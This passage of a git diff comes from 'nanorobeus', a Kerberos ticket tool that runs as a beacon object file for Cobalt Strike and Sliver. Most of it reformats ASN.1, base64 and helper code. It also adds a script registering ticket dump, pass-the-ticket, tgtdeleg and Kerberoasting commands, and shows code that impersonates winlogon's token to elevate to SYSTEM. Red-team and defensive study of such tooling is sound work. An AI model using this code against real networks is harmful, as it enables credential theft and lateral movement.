enc, ASN1uint32_t tag, ASN1charstring_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncNull(ASN1encoding_t enc, ASN1uint32_t tag); + extern ASN1_PUBLIC int ASN1API ASN1BEREncObjectIdentifier(ASN1encoding_t enc, ASN1uint32_t tag, + ASN1objectidentifier_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncObjectIdentifier2(ASN1encoding_t enc, ASN1uint32_t tag, + ASN1objectidentifier2_t *val); + extern ASN1_PUBLIC int ASN1API ASN1BEREncRemoveZeroBits(ASN1uint32_t *, ASN1octet_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncUTCTime(ASN1encoding_t enc, ASN1uint32_t tag, ASN1utctime_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncFlush(ASN1encoding_t enc); + extern ASN1_PUBLIC int ASN1API ASN1BEREncOpenType(ASN1encoding_t enc, ASN1open_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecExplicitTag(ASN1decoding_t dec, ASN1uint32_t tag, ASN1decoding_t *dd, + ASN1octet_t **di); + extern ASN1_PUBLIC int ASN1API ASN1BERDecEndOfContents(ASN1decoding_t dec, ASN1decoding_t dd, ASN1octet_t *di); + extern ASN1_PUBLIC int ASN1API ASN1BERDecOctetString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t *val); + extern ASN1_PUBLIC int ASN1API ASN1BERDecOctetString2(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t *val); + extern ASN1_PUBLIC int ASN1API ASN1BERDecBitString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecBitString2(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecChar16String(ASN1decoding_t dec, ASN1uint32_t tag, ASN1char16string_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecChar32String(ASN1decoding_t dec, ASN1uint32_t tag, ASN1char32string_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecCharString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1charstring_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecDouble(ASN1decoding_t dec, ASN1uint32_t tag, double *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecGeneralizedTime(ASN1decoding_t dec, ASN1uint32_t tag, ASN1generalizedtime_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecZeroMultibyteString(ASN1decoding_t dec, ASN1uint32_t tag, + ASN1ztcharstring_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecMultibyteString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1charstring_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecNull(ASN1decoding_t dec, ASN1uint32_t tag); + extern ASN1_PUBLIC int ASN1API ASN1BERDecObjectIdentifier(ASN1decoding_t dec, ASN1uint32_t tag, + ASN1objectidentifier_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecObjectIdentifier2(ASN1decoding_t dec, ASN1uint32_t tag, + ASN1objectidentifier2_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecS8Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int8_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecS16Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int16_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecS32Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int32_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecSXVal(ASN1decoding_t dec, ASN1uint32_t tag, ASN1intx_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecU8Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1uint8_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecU16Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1uint16_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecUTCTime(ASN1decoding_t dec, ASN1uint32_t tag, ASN1utctime_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecZeroChar16String(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztchar16string_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecZeroChar32String(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztchar32string_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecZeroCharString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztcharstring_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecSkip(ASN1decoding_t dec); + extern ASN1_PUBLIC int ASN1API ASN1BERDecFlush(ASN1decoding_t dec); + extern ASN1_PUBLIC int ASN1API ASN1BERDecOpenType(ASN1decoding_t dec, ASN1open_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecOpenType2(ASN1decoding_t dec, ASN1open_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncCheck(ASN1encoding_t enc, ASN1uint32_t noctets); + extern ASN1_PUBLIC int ASN1API ASN1BEREncTag(ASN1encoding_t enc, ASN1uint32_t tag); + extern ASN1_PUBLIC int ASN1API ASN1BEREncExplicitTag(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t *pLengthOffset); + extern ASN1_PUBLIC int ASN1API ASN1BEREncEndOfContents(ASN1encoding_t enc, ASN1uint32_t LengthOffset); + extern ASN1_PUBLIC int ASN1API ASN1BEREncLength(ASN1encoding_t enc, ASN1uint32_t len); + extern ASN1_PUBLIC int ASN1API ASN1BERDecCheck(ASN1decoding_t dec, ASN1uint32_t len); + extern ASN1_PUBLIC int ASN1API ASN1BERDecTag(ASN1decoding_t dec, ASN1uint32_t tag, ASN1uint32_t *constructed); + extern ASN1_PUBLIC int ASN1API ASN1BERDecLength(ASN1decoding_t dec, ASN1uint32_t *len, ASN1uint32_t *infinite); + extern ASN1_PUBLIC int ASN1API ASN1BERDecNotEndOfContents(ASN1decoding_t dec, ASN1octet_t *di); + extern ASN1_PUBLIC int ASN1API ASN1BERDecPeekTag(ASN1decoding_t dec, ASN1uint32_t *tag); + extern ASN1_PUBLIC int ASN1API ASN1BEREncU32(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t); + extern ASN1_PUBLIC int ASN1API ASN1BERDecU32Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1uint32_t *val); + extern ASN1_PUBLIC int ASN1API ASN1BEREncBool(ASN1encoding_t enc, ASN1uint32_t tag, ASN1bool_t); + extern ASN1_PUBLIC int ASN1API ASN1BERDecBool(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bool_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncEoid(ASN1encoding_t enc, ASN1uint32_t tag, ASN1encodedOID_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDecEoid(ASN1decoding_t dec, ASN1uint32_t tag, ASN1encodedOID_t *); + extern ASN1_PUBLIC int ASN1API ASN1BERDotVal2Eoid(ASN1encoding_t enc, char *pszDotVal, ASN1encodedOID_t *pOut); + extern ASN1_PUBLIC int ASN1API ASN1BEREoid2DotVal(ASN1decoding_t dec, ASN1encodedOID_t *pIn, char **ppszDotVal); + extern ASN1_PUBLIC void ASN1API ASN1BEREoid_free(ASN1encodedOID_t *); + extern ASN1_PUBLIC int ASN1API ASN1BEREncUTF8String(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t length, + WCHAR *value); + extern ASN1_PUBLIC int ASN1API ASN1BERDecUTF8String(ASN1decoding_t dec, ASN1uint32_t tag, ASN1wstring_t *val); -/* CER variant of BER */ + /* CER variant of BER */ -extern ASN1_PUBLIC int ASN1API ASN1CEREncCharString(ASN1encoding_t enc, ASN1uint32_t, ASN1uint32_t, ASN1char_t *); -extern ASN1_PUBLIC int ASN1API ASN1CEREncChar16String(ASN1encoding_t enc, ASN1uint32_t, ASN1uint32_t, ASN1char16_t *); -extern ASN1_PUBLIC int ASN1API ASN1CEREncChar32String(ASN1encoding_t enc, ASN1uint32_t, ASN1uint32_t, ASN1char32_t *); -extern ASN1_PUBLIC int ASN1API ASN1CEREncBitString(ASN1encoding_t enc, ASN1uint32_t, ASN1uint32_t, ASN1octet_t *); -extern ASN1_PUBLIC int ASN1API ASN1CEREncGeneralizedTime(ASN1encoding_t enc, ASN1uint32_t, ASN1generalizedtime_t *); -extern ASN1_PUBLIC int ASN1API ASN1CEREncZeroMultibyteString(ASN1encoding_t enc, ASN1uint32_t, ASN1ztcharstring_t); -extern ASN1_PUBLIC int ASN1API ASN1CEREncMultibyteString(ASN1encoding_t enc, ASN1uint32_t, ASN1charstring_t *); -extern ASN1_PUBLIC int ASN1API ASN1CEREncOctetString(ASN1encoding_t enc, ASN1uint32_t, ASN1uint32_t, ASN1octet_t *); -extern ASN1_PUBLIC int ASN1API ASN1CEREncUTCTime(ASN1encoding_t enc, ASN1uint32_t, ASN1utctime_t *); + extern ASN1_PUBLIC int ASN1API ASN1CEREncCharString(ASN1encoding_t enc, ASN1uint32_t, ASN1uint32_t, ASN1char_t *); + extern ASN1_PUBLIC int ASN1API ASN1CEREncChar16String(ASN1encoding_t enc, ASN1uint32_t, ASN1uint32_t, ASN1char16_t *); + extern ASN1_PUBLIC int ASN1API ASN1CEREncChar32String(ASN1encoding_t enc, ASN1uint32_t, ASN1uint32_t, ASN1char32_t *); + extern ASN1_PUBLIC int ASN1API ASN1CEREncBitString(ASN1encoding_t enc, ASN1uint32_t, ASN1uint32_t, ASN1octet_t *); + extern ASN1_PUBLIC int ASN1API ASN1CEREncGeneralizedTime(ASN1encoding_t enc, ASN1uint32_t, ASN1generalizedtime_t *); + extern ASN1_PUBLIC int ASN1API ASN1CEREncZeroMultibyteString(ASN1encoding_t enc, ASN1uint32_t, ASN1ztcharstring_t); + extern ASN1_PUBLIC int ASN1API ASN1CEREncMultibyteString(ASN1encoding_t enc, ASN1uint32_t, ASN1charstring_t *); + extern ASN1_PUBLIC int ASN1API ASN1CEREncOctetString(ASN1encoding_t enc, ASN1uint32_t, ASN1uint32_t, ASN1octet_t *); + extern ASN1_PUBLIC int ASN1API ASN1CEREncUTCTime(ASN1encoding_t enc, ASN1uint32_t, ASN1utctime_t *); -extern ASN1_PUBLIC int ASN1API ASN1CEREncBeginBlk(ASN1encoding_t enc, ASN1blocktype_e eBlkType, void **ppBlk); -extern ASN1_PUBLIC int ASN1API ASN1CEREncNewBlkElement(void *pBlk, ASN1encoding_t *enc2); -extern ASN1_PUBLIC int ASN1API ASN1CEREncFlushBlkElement(void *pBlk); -extern ASN1_PUBLIC int ASN1API ASN1CEREncEndBlk(void *pBlk); + extern ASN1_PUBLIC int ASN1API ASN1CEREncBeginBlk(ASN1encoding_t enc, ASN1blocktype_e eBlkType, void **ppBlk); + extern ASN1_PUBLIC int ASN1API ASN1CEREncNewBlkElement(void *pBlk, ASN1encoding_t *enc2); + extern ASN1_PUBLIC int ASN1API ASN1CEREncFlushBlkElement(void *pBlk); + extern ASN1_PUBLIC int ASN1API ASN1CEREncEndBlk(void *pBlk); #ifdef __cplusplus } diff --git a/include/ptt.h b/include/ptt.h index b729281..2bcaabd 100644 --- a/include/ptt.h +++ b/include/ptt.h @@ -4,4 +4,4 @@ #include "common.h" #include "base64.h" -void execute_ptt(WCHAR** dispatch, char* ticket, LUID luid, BOOL currentLuid); \ No newline at end of file +void execute_ptt(WCHAR **dispatch, char *ticket, LUID luid, BOOL currentLuid); \ No newline at end of file diff --git a/include/purge.h b/include/purge.h index 8d94a95..c2df309 100644 --- a/include/purge.h +++ b/include/purge.h @@ -4,4 +4,4 @@ #include #include "common.h" -void execute_purge(WCHAR** dispatch, LUID luid, BOOL currentLuid); +void execute_purge(WCHAR **dispatch, LUID luid, BOOL currentLuid); diff --git a/include/sessions.h b/include/sessions.h index 95fb89a..303792d 100644 --- a/include/sessions.h +++ b/include/sessions.h @@ -5,7 +5,7 @@ #include "common.h" #include "luid.h" -void execute_sessions(WCHAR** dispatch, LUID luid, BOOL currentLuid); -NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data); -char* GetLogonTypeString(ULONG uLogonType); -void PrintLogonSessionData(WCHAR** dispatch, SECURITY_LOGON_SESSION_DATA data); \ No newline at end of file +void execute_sessions(WCHAR **dispatch, LUID luid, BOOL currentLuid); +NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA *data); +void GetLogonTypeString(ULONG uLogonType, char **logonTypeString); +void PrintLogonSessionData(SECURITY_LOGON_SESSION_DATA data, char **sessionString); \ No newline at end of file diff --git a/include/tgtdeleg.h b/include/tgtdeleg.h index 93f4363..d12d49a 100644 --- a/include/tgtdeleg.h +++ b/include/tgtdeleg.h @@ -8,9 +8,9 @@ #include "msasn1.h" #include "krb5.h" -void execute_tgtdeleg(WCHAR** dispatch, char* spn); +void execute_tgtdeleg(WCHAR **dispatch, char *spn); PBYTE SearchOID(LPCVOID data, SIZE_T size); PVOID MemorySearch(LPCVOID pattern, SIZE_T pSize, LPCVOID buf, SIZE_T bSize); -NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY* key, ASN1octetstring_t* in, ASN1octetstring_t* out); -NTSTATUS GetKeyFromCache(char* target, LONG encType, PUCHAR* key, PULONG keySize); -LONG RequestApReq(char *spn, PUCHAR* apreq, PULONG apreqSize, BOOL checkDelegate); \ No newline at end of file +NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY *key, ASN1octetstring_t *in, ASN1octetstring_t *out); +NTSTATUS GetKeyFromCache(char *target, LONG encType, PUCHAR *key, PULONG keySize); +LONG RequestApReq(char *spn, PUCHAR *apreq, PULONG apreqSize, BOOL checkDelegate); \ No newline at end of file diff --git a/nanorobeus.cna b/nanorobeus.cna new file mode 100644 index 0000000..9a578bf --- /dev/null +++ b/nanorobeus.cna @@ -0,0 +1,37 @@ +beacon_command_register( + "nanorobeus", + "Manage Kerberos tickets", + "Command list: \ + luid\ + get current logon ID\ + sessions [/luid:<0x0> | /all]\ + get logon sessions\ + klist [/luid:<0x0> | /all]\ + list Kerberos tickets\ + dump [/luid:<0x0> | /all]\ + dump Kerberos tickets\ + ptt /ticket: [/luid:<0x0>]\ + import Kerberos ticket into a logon session\ + purge [/luid:<0x0>]\ + purge Kerberos tickets\ + tgtdeleg /spn:\ + retrieve a usable TGT for the current user\ + kerberoast /spn:\ + perform Kerberoasting against specified SPN\ + help\ + print help" +); + +alias nanorobeus { + local('$barch $handle $bof $args'); + + $barch = barch($1); + $handle = openf(script_resource("dist/nanorobeus_cs." . $barch . ".o")); + $bof = readb($handle, -1); + closef($handle); + + $args = bof_pack($1, "zzzzz", $2, $3, $4, $5, $6); + btask($1, "Running nanorobeus"); + + beacon_inline_execute($1, $bof, "go", $args); +} \ No newline at end of file diff --git a/sample_sliver.json b/sample_sliver.json index 85e950f..b9f99ef 100644 --- a/sample_sliver.json +++ b/sample_sliver.json @@ -1,6 +1,6 @@ { "name": "nanorobeus", - "version": "0.0.3", + "version": "0.0.4", "command_name": "nanorobeus", "extension_author": "wavvs", "original_author": "wavvs", diff --git a/source/base64.c b/source/base64.c index a15a5bc..79bbd99 100644 --- a/source/base64.c +++ b/source/base64.c @@ -91,7 +91,7 @@ static const unsigned char pr2six[256] = { /* ASCII table */ 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, - 64, 64, 64, 64, 64, 64, 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, + 64, 64, 64, 64, 64, 64, 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64, 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, @@ -99,37 +99,40 @@ static const unsigned char pr2six[256] = { 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64}; -int Base64decode_len(const char* bufcoded) { +int Base64decode_len(const char *bufcoded) +{ int nbytesdecoded; - const unsigned char* bufin; + const unsigned char *bufin; int nprbytes; - bufin = (const unsigned char*)bufcoded; + bufin = (const unsigned char *)bufcoded; while (pr2six[*(bufin++)] <= 63) ; - nprbytes = (bufin - (const unsigned char*)bufcoded) - 1; + nprbytes = (bufin - (const unsigned char *)bufcoded) - 1; nbytesdecoded = ((nprbytes + 3) / 4) * 3; return nbytesdecoded + 1; } -int Base64decode(char* bufplain, const char* bufcoded) { +int Base64decode(char *bufplain, const char *bufcoded) +{ int nbytesdecoded; - const unsigned char* bufin; - unsigned char* bufout; + const unsigned char *bufin; + unsigned char *bufout; int nprbytes; - bufin = (const unsigned char*)bufcoded; + bufin = (const unsigned char *)bufcoded; while (pr2six[*(bufin++)] <= 63) ; - nprbytes = (bufin - (const unsigned char*)bufcoded) - 1; + nprbytes = (bufin - (const unsigned char *)bufcoded) - 1; nbytesdecoded = ((nprbytes + 3) / 4) * 3; - bufout = (unsigned char*)bufplain; - bufin = (const unsigned char*)bufcoded; + bufout = (unsigned char *)bufplain; + bufin = (const unsigned char *)bufcoded; - while (nprbytes > 4) { + while (nprbytes > 4) + { *(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4); *(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2); *(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]); @@ -138,13 +141,16 @@ int Base64decode(char* bufplain, const char* bufcoded) { } /* Note: (nprbytes == 1) would be an error, so just ingore that case */ - if (nprbytes > 1) { + if (nprbytes > 1) + { *(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4); } - if (nprbytes > 2) { + if (nprbytes > 2) + { *(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2); } - if (nprbytes > 3) { + if (nprbytes > 3) + { *(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]); } @@ -157,23 +163,29 @@ static const char basis_64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv int Base64encode_len(int len) { return ((len + 2) / 3 * 4) + 1; } -int Base64encode(char* encoded, const char* string, int len) { +int Base64encode(char *encoded, const char *string, int len) +{ int i; - char* p; + char *p; p = encoded; - for (i = 0; i < len - 2; i += 3) { + for (i = 0; i < len - 2; i += 3) + { *p++ = basis_64[(string[i] >> 2) & 0x3F]; *p++ = basis_64[((string[i] & 0x3) << 4) | ((int)(string[i + 1] & 0xF0) >> 4)]; *p++ = basis_64[((string[i + 1] & 0xF) << 2) | ((int)(string[i + 2] & 0xC0) >> 6)]; *p++ = basis_64[string[i + 2] & 0x3F]; } - if (i < len) { + if (i < len) + { *p++ = basis_64[(string[i] >> 2) & 0x3F]; - if (i == (len - 1)) { + if (i == (len - 1)) + { *p++ = basis_64[((string[i] & 0x3) << 4)]; *p++ = '='; - } else { + } + else + { *p++ = basis_64[((string[i] & 0x3) << 4) | ((int)(string[i + 1] & 0xF0) >> 4)]; *p++ = basis_64[((string[i + 1] & 0xF) << 2)]; } diff --git a/source/common.c b/source/common.c index 79825a4..6fe2ccd 100644 --- a/source/common.c +++ b/source/common.c @@ -1,10 +1,15 @@ #include "common.h" +#include -HANDLE GetCurrentToken(DWORD DesiredAccess) { +HANDLE GetCurrentToken(DWORD DesiredAccess) +{ HANDLE hCurrentToken = NULL; - if (!ADVAPI32$OpenThreadToken((HANDLE)-2, DesiredAccess, FALSE, &hCurrentToken)) { - if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN) { - if (!ADVAPI32$OpenProcessToken((HANDLE)-1, DesiredAccess, &hCurrentToken)) { + if (!ADVAPI32$OpenThreadToken((HANDLE)-2, DesiredAccess, FALSE, &hCurrentToken)) + { + if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN) + { + if (!ADVAPI32$OpenProcessToken((HANDLE)-1, DesiredAccess, &hCurrentToken)) + { return NULL; } } @@ -12,71 +17,63 @@ HANDLE GetCurrentToken(DWORD DesiredAccess) { return hCurrentToken; } -char* GetEncryptionTypeString(LONG encType) { - char* encTypeStr = NULL; - switch (encType) { - case DES_CBC_CRC: - encTypeStr = "DES_CBC_CRC"; - break; - case DES_CBC_MD4: - encTypeStr = "DES_CBC_MD4"; - break; - case DES_CBC_MD5: - encTypeStr = "DES_CBC_MD5"; - break; - case DES3_CBC_MD5: - encTypeStr = "DES3_CBC_MD5"; - break; - case DES3_CBC_SHA1: - encTypeStr = "DES3_CBC_SHA1"; - break; - case DSAWITHSHA1_CMSOID: - encTypeStr = "DSAWITHSHA1_CMSOID"; - break; - case MD5WITHRSAENCRYPTION_CMSOID: - encTypeStr = "MD5WITHRSAENCRYPTION_CMSOID"; - break; - case SHA1WITHRSAENCRYPTION_CMSOID: - encTypeStr = "SHA1WITHRSAENCRYPTION_CMSOID"; - break; - case RC2CBC_ENVOID: - encTypeStr = "RC2CBC_ENVOID"; - break; - case RSAENCRYPTION_ENVOID: - encTypeStr = "RSAENCRYPTION_ENVOID"; - break; - case RSAES_OAEP_ENV_OID: - encTypeStr = "RSAES_OAEP_ENV_OID"; - break; - case DES3_CBC_SHA1_KD: - encTypeStr = "DES3_CBC_SHA1_KD"; - break; - case AES128_CTS_HMAC_SHA1: - encTypeStr = "AES128_CTS_HMAC_SHA1"; - break; - case AES256_CTS_HMAC_SHA1: - encTypeStr = "AES256_CTS_HMAC_SHA1"; - break; - case RC4_HMAC: - encTypeStr = "RC4_HMAC"; - break; - case RC4_HMAC_EXP: - encTypeStr = "RC4_HMAC_EXP"; - break; - case SUBKEY_KEYMATERIAL: - encTypeStr = "SUBKEY_KEYMATERIAL"; - break; - case OLD_EXP: - encTypeStr = "OLD_EXP"; - break; - default: - encTypeStr = ""; - break; +void GetEncryptionTypeString(LONG encType, char **encTypeString) +{ + char *types[27] = { + "reserved0", + "des_cbc_crc", + "des_cbc_md4", + "des_cbc_md5", + "reserved1", + "des3_cbc_md5", + "reserved2", + "des3_cbc_sha1", + "(8)" + "dsaWithSHA1_CmsOID", + "md5WithRSAEncryption_CmsOID", + "sha1WithRSAEncryption_CmsOID", + "rc2CBC_EnvOID", + "rsaEncryption_EnvOID", + "rsaES_OAEP_ENV_OID", + "des_ede3_cbc_Env_OID", + "des3_cbc_sha1_kd", + "aes128_cts_hmac_sha1_96", + "aes256_cts_hmac_sha1_96", + "aes128_cts_hmac_sha256_128", + "aes256_cts_hmac_sha384_192", + "(21)", + "(22)", + "rc4_hmac", + "rc4_hmac_exp", + "camellia128_cts_cmac", + "camellia256_cts_cmac"}; + + *encTypeString = MSVCRT$malloc(32 * sizeof(char)); + if (*encTypeString == NULL) + { + return NULL; } - return encTypeStr; + + for (int i = 0; i < 27; i++) + { + if (i == encType) + { + _strcpy(*encTypeString, types[i]); + return; + } + } + + if (encType == SUBKEY_KEYMATERIAL) + { + _strcpy(*encTypeString, "subkey_keymaterial\0"); + return; + } + + _strcpy(*encTypeString, "(unknown)\0"); } -SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li) { +SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li) +{ FILETIME ft; SYSTEMTIME st_utc; ft.dwHighDateTime = li.HighPart; @@ -85,15 +82,18 @@ SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li) { return st_utc; } -BOOL IsHighIntegrity() { +BOOL IsHighIntegrity() +{ BOOL b; SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; PSID AdministratorsGroup; b = ADVAPI32$AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup); - - if (b) { - if (!ADVAPI32$CheckTokenMembership(NULL, AdministratorsGroup, &b)) { + + if (b) + { + if (!ADVAPI32$CheckTokenMembership(NULL, AdministratorsGroup, &b)) + { b = FALSE; } ADVAPI32$FreeSid(AdministratorsGroup); @@ -102,7 +102,8 @@ BOOL IsHighIntegrity() { return b; } -BOOL IsSystem() { +BOOL IsSystem() +{ HANDLE hToken; UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES]; PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser; @@ -111,11 +112,13 @@ BOOL IsSystem() { PSID pSystemSid; BOOL bSystem; - if (!ADVAPI32$OpenProcessToken((HANDLE)-1, TOKEN_QUERY, &hToken)) { + if (!ADVAPI32$OpenProcessToken((HANDLE)-1, TOKEN_QUERY, &hToken)) + { return FALSE; } - if (!ADVAPI32$GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) { + if (!ADVAPI32$GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) + { return FALSE; } @@ -127,36 +130,50 @@ BOOL IsSystem() { return bSystem; } -NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE* hLsa) { +NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE *hLsa) +{ HANDLE hLsaLocal; LSA_OPERATIONAL_MODE mode = 0; NTSTATUS status = STATUS_SUCCESS; - if (!highIntegrity) { + if (!highIntegrity) + { status = SECUR32$LsaConnectUntrusted(&hLsaLocal); - if (!NT_SUCCESS(status)) { + if (!NT_SUCCESS(status)) + { status = ADVAPI32$LsaNtStatusToWinError(status); } - } else { + } + else + { // AuditPol.exe /set /subcategory:"Security System Extension" // /success:enable /failure:enable Event ID 4611 Note: detect elevation via // winlogon.exe. - char* name = "Winlogon"; + char *name = "Winlogon"; STRING lsaString = (STRING){.Length = 8, .MaximumLength = 9, .Buffer = name}; SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode); - if (hLsaLocal == NULL) { - if (IsSystem()) { + if (hLsaLocal == NULL) + { + if (IsSystem()) + { status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode); - if (!NT_SUCCESS(status)) { + if (!NT_SUCCESS(status)) + { status = ADVAPI32$LsaNtStatusToWinError(status); } - } else { - if (ElevateToSystem()) { + } + else + { + if (ElevateToSystem()) + { status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode); - if (!NT_SUCCESS(status)) { + if (!NT_SUCCESS(status)) + { status = ADVAPI32$LsaNtStatusToWinError(status); } ADVAPI32$RevertToSelf(); - } else { + } + else + { status = KERNEL32$GetLastError(); } } @@ -167,25 +184,30 @@ NTSTATUS GetLsaHandle(BOOL highIntegrity, HANDLE* hLsa) { return status; } -int GetProcessIdByName(WCHAR* processName) { +int GetProcessIdByName(WCHAR *processName) +{ HANDLE hProcessSnap; PROCESSENTRY32W pe32; int pid = -1; hProcessSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hProcessSnap == INVALID_HANDLE_VALUE) { + if (hProcessSnap == INVALID_HANDLE_VALUE) + { return pid; } pe32.dwSize = sizeof(PROCESSENTRY32W); - if (!KERNEL32$Process32FirstW(hProcessSnap, &pe32)) { + if (!KERNEL32$Process32FirstW(hProcessSnap, &pe32)) + { KERNEL32$CloseHandle(hProcessSnap); return pid; } - do { - WCHAR* procName = pe32.szExeFile; - if (_wcscmp(procName, processName) == 0) { + do + { + WCHAR *procName = pe32.szExeFile; + if (_wcscmp(procName, processName) == 0) + { pid = pe32.th32ProcessID; break; } @@ -195,20 +217,27 @@ int GetProcessIdByName(WCHAR* processName) { return pid; } -BOOL ElevateToSystem() { +BOOL ElevateToSystem() +{ int pid = GetProcessIdByName(L"winlogon.exe"); - if (pid == -1) { + if (pid == -1) + { return FALSE; } BOOL res = FALSE; HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); - if (hProcess != NULL) { + if (hProcess != NULL) + { HANDLE hDupToken; HANDLE hToken; - if (ADVAPI32$OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) { - if (hToken != NULL) { - if (ADVAPI32$DuplicateToken(hToken, SecurityImpersonation, &hDupToken)) { - if (ADVAPI32$ImpersonateLoggedOnUser(hDupToken)) { + if (ADVAPI32$OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) + { + if (hToken != NULL) + { + if (ADVAPI32$DuplicateToken(hToken, SecurityImpersonation, &hDupToken)) + { + if (ADVAPI32$ImpersonateLoggedOnUser(hDupToken)) + { res = TRUE; } KERNEL32$CloseHandle(hDupToken); @@ -222,32 +251,12 @@ BOOL ElevateToSystem() { return res; } -char* 